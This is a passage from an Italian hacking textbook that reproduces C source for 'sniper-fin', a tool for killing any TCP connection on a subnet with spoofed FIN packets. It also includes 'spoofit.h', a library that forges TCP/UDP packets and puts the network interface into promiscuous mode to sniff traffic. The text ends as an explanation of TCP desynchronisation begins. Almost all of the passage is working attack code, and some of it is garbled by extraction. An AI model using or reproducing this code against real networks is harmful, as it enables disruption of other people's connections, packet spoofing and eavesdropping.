Limplementazione in C la seguente: /**************************************************************************/ /* Sniper-fin - Example program on connection killing with IP spoofing */ /* using the FIN flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* Compiling - gcc -o sniper-fin sniper-fin.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in /* PROMISCUOUS mode #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ for(i=1;i<100;i++) { printf("Attack Sequence %d.\n",i); /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; /* Sending our fake Packet */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN); /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) { printf("Killed the connection...\n"); exit(0); } printf("Hmmmm.... no response detected... (retry)\n"); } printf("I did not succeed in killing it.\n"); } */ */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Il seguente sorgente permette di implementare facilmente delle funzioni di spoofing allinterno dei vostri programmi. Il tutto deve essere compilato sotto Linux con Kernel superiore alla versione 1.3.x
/**************************************************************************/ /* Spoofit.h - Include file for easy creating of spoofed TCP packets */ /* Requires LINUX 1.3.x (or later) Kernel */ /* (illustration for 'A short overview of IP spoofing') */ /* V.1 - Copyright 1996 - Brecht Claerhout */ /* */ /* Purpose - Providing skilled people with a easy to use spoofing source */ /* I used it to be able to write my tools fast and short. */ /* Mind you this is only illustrative and can be easily */ /* optimised. */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This file is for educational purposes only. I am in */ /* NO way responsible for what you do with this file, */ /* or any damage you or this file causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* If you know a little about your OS, shouldn't be to hard */ /* to port. */ /* */ /* Important note - You might have noticed I use non standard packet */ /* header struct's. How come?? Because I started like */ /* that on Sniffit because I wanted to do the */ /* bittransforms myself. */ /* Well I got so damned used to them, I keep using them, */ /* they are not very different, and not hard to use, so */ /* you'll easily use my struct's without any problem, */ /* this code and the examples show how to use them. */ /* my apologies for this inconvenience. */ /* */ /* None of this code can be used in commercial software. You are free to */ /* use it in any other non-commercial software (modified or not) as long */ /* as you give me the credits for it. You can spread this include file, */ /* but keep it unmodified. */ /* */ /**************************************************************************/ /* */ /* Easiest way to understand this library is to look at the use of it, in */ /* the example progs. */ /* */ /**** Sending packets *****************************************************/ /* */ /* int open_sending (void) */ /* Returns a filedescriptor to the sending socket. */ /* close it with close (int filedesc) */ /* */ /* void transmit_TCP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest,unsigned short sp_dest_port, */ /* unsigned long sp_seq, unsigned long sp_ack, */ /* unsigned short sp_flags) */ /* fire data away in a TCP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options (you should do the padding) */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* TCP options (you should do the padding) */ /* data to be transmitted */ /* (NULL is nothing) */ /* note that all is optional, and IP en TCP options are*/ /* not often used. */ /* All data is put after eachother in one buffer. */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_tcpoptlen : length of TCP options (in bytes) */ /* sp_datalen : amount of data to be transmitted (bytes) */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* sp_seq : sequence number of packet */ /* sp_ack : ACK of packet */ /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */ /* */ /* void transmit_UDP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest, unsigned short sp_dest_port) */ /* fire data away in an UDP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options */ /* data to be transmitted */ /* (NULL if none) */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_datalen : amount of data to be transmitted */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* */ /**** Receiving packets ***************************************************/ /* */ /* int open_receiving (char *rc_device, char mode) */ /* Returns fdesc to a receiving socket */ /* (if mode: IO_HANDLE don't call this twice, global var */ /* rc_fd_abc123 is initialised) */ /* rc_device: the device to use e.g. "eth0", "ppp0" */ /* be sure to change DEV_PREFIX accordingly! */ /* DEV_PREFIX is the length in bytes of the header that */ /* comes with a SOCKET_PACKET due to the network device */ /* mode: 0: normal mode, blocking, (read will wait till packet */ /* comes, mind you, we are in PROMISC mode) */ /* IO_NONBLOCK: non-blocking mode (read will not wait till */ /* usefull for active polling) */ /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/ /* (IO_HANDLE is not recommended to use, as it should be */ /* modified according to own use, and it works bad on heavy */ /* traffic continuous monitoring. I needed it once, but left it */ /* in to make you able to have a look at Signal handled IO, */ /* personally I would have removed it, but some thought it */ /* doesn't do any harm anyway, so why remove... ) */ /* (I'm not giving any more info on IO_HANDLE as it is not */ /* needed for the example programs, and interested people can */ /* easilythey figure the code out theirselves.) */ /* (Besides IO_HANDLE can only be called ONCE in a program, */ /* other modes multiple times) */ /* */ /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */ /* unsigned char *proto) */ /* This waits for a packet (mode default) and puts it in buffer or */ /* returns whether there is a pack or not (IO_NONBLOCK). */ /* It returns the packet length if there is one available, else 0 */ /* */ /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */ /* char *wp_source, unsigned short wp_source_port, */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* char *wp_dest, unsigned short wp_dest_port, */ /* int wp_flags, int wait_time); */ /* wp_fd: a receiving socket (default or IO_NONBLOCK) */ /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */ /* ACK, flags, datalen of that packet. For further packet */ /* handling see the examples. */ /* struct sp_wait_packet { */ /* unsigned long seq,ack; */ /* unsigned short flags; */ /* int datalen; */ /* }; */ /* wp_source, wp_source_port : sender of packet */ /* wp_dest, wp_dest_port : receiver of packet */ /* wp_flags: flags that should be present in packet.. (mind you there */ /* could be more present, so check on return) */ /* note: if you don't care about flag, use 0 */ /* wait_time: if not zero, this function will return -1 if no correct */ /* packet has arrived within wait_time secs. */ /* (only works on IO_NONBLOCK socket) */ /* */ /* void set_filter (char *f_source, unsigned short f_source_port, */ /* char *f_dest, unsigned short f_dest_port) */ /* (for use with IO_HANDLE) */ /* Start the program to watch all trafic from source/port to */ /* dest/port. This enables the updating of global data. Can */ /* be called multiple times. */ /* */ /* void close_receiving (void) */ /* When opened a IO_HANDLE mode receiving socket close it with */ /* this. */ /* */ /**** Global DATA (IO_HANDLE mode) ****************************************/ /* */ /* When accessing global data, copy the values to local vars and then use */ /* them. Reduce access time to a minimum. */ /* Mind you use of this is very limited, if you are a novice on IO, just */ /* ignore it, the other functions are good enough!). If not, rewrite the */ /* handler for your own use... */ /* */ /* sig_atomic_t SP_DATA_BUSY */ /* Put this on NON-ZERO when accesing global data. Incoming */ /* packets will be ignored then, data can not be overwritten. */ /* */ /* unsigned long int CUR_SEQ, CUR_ACK; */ /* Last recorded SEQ and ACK number of the filtered "stream". */ /* Before accessing this data set SP_DATA_BUSY non-zero, */ /* afterward set it back to zero. */ /* */ /* unsigned long int CUR_COUNT; */ /* increased everytime other data is updated */ /* */ /* unsigned int CUR_DATALEN; */ /* Length of date in last TCP packet */ /* */ /**************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include "sys/socket.h" "netdb.h" "stdlib.h" "unistd.h" "stdio.h" "errno.h" "netinet/in.h" "netinet/ip.h" "linux/if.h" "sys/ioctl.h" "sys/types.h" /* includes, what would we do without them */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


#include "signal.h" #include "fcntl.h" #undef #define #define #define */ #define */ #define */ DEBUG IP_VERSION 4 MTU 1500 IP_HEAD_BASE TCP_HEAD_BASE UDP_HEAD_BASE /* keep y'r hands off... 20 20 8 */

/* using fixed lengths to send /* no options etc... /* Always fixed

#define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; / ***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code #define #define #define #define #define #define from Sniffit - BTW my own program.... no copyright violation here */ URG 32 /* TCP flags */ ACK 16 PSH 8 RST 4 SYN 2 FIN 1

struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header { unsigned unsigned unsigned unsigned unsigned }; /* The IPheader (without options) */ char verlen, type; short length, ID, flag_offset; char TTL, protocol; short checksum; long int source, destination;

struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


}; struct UDP_header { unsigned short source, destination; unsigned short length, checksum; }; /* The UDP header */

struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ */

struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; int IP_optlen; int TCP_optlen; }; /* work buffer */ /* IP options length in bytes */ /* TCP options length in bytes */

/**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


{ struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i>=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,"unknown host %s\n", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help>h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp>datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp>IP_optlen) { if (sp_status < 0)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; case 17: HEAD_BASE = UDP_HEAD_BASE; break; default: exit(1); break; };

/* TCP */ /* UDP */

sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp>IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp>TCP_optlen);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp>datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd sp_struct.data sp_struct.datalen sp_struct.source sp_struct.source_port sp_struct.dest sp_struct.dest_port sp_struct.seq sp_struct.ack sp_struct.flags sp_struct.buffer sp_struct.IP_optlen sp_struct.TCP_optlen = = = = = = = = = = = = = sp_fd; sp_data; sp_datalen; sp_source; sp_source_port; sp_dest; sp_dest_port; sp_seq; sp_ack; sp_flags; sp_buffer; sp_ipoptlen; sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/************************* ****************************/ Receiving department

int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { char

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead>destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead>destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)&

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


(URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) ((wp_iphead->verlen & 0xF) << 2) ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) return; /* skip this packet */ /* Packet handling routine */

pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead>verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead>destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) ((rc_IPhead->verlen & 0xF) << 2) ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; }

Stato di Desincronizzazione
La seguente spiegazione orientata a spiegare desincronizzazione. Per semplicit da adesso in poi indicheremo con: SVR_SEQ SVR_ACK SRV_WND CLT_SEQ CLT_ACK CLT_WND il il la il il la quello che il concetto di

Sequence number del prossimo byte che il server spedir prossimo byte che il server si aspetta di ricevere grandezza della finestra di ricezione del server Sequence number del prossimo byte che il client spedir prossimo byte che il client si aspetta di ricevere grandezza della finestra di ricezione del client

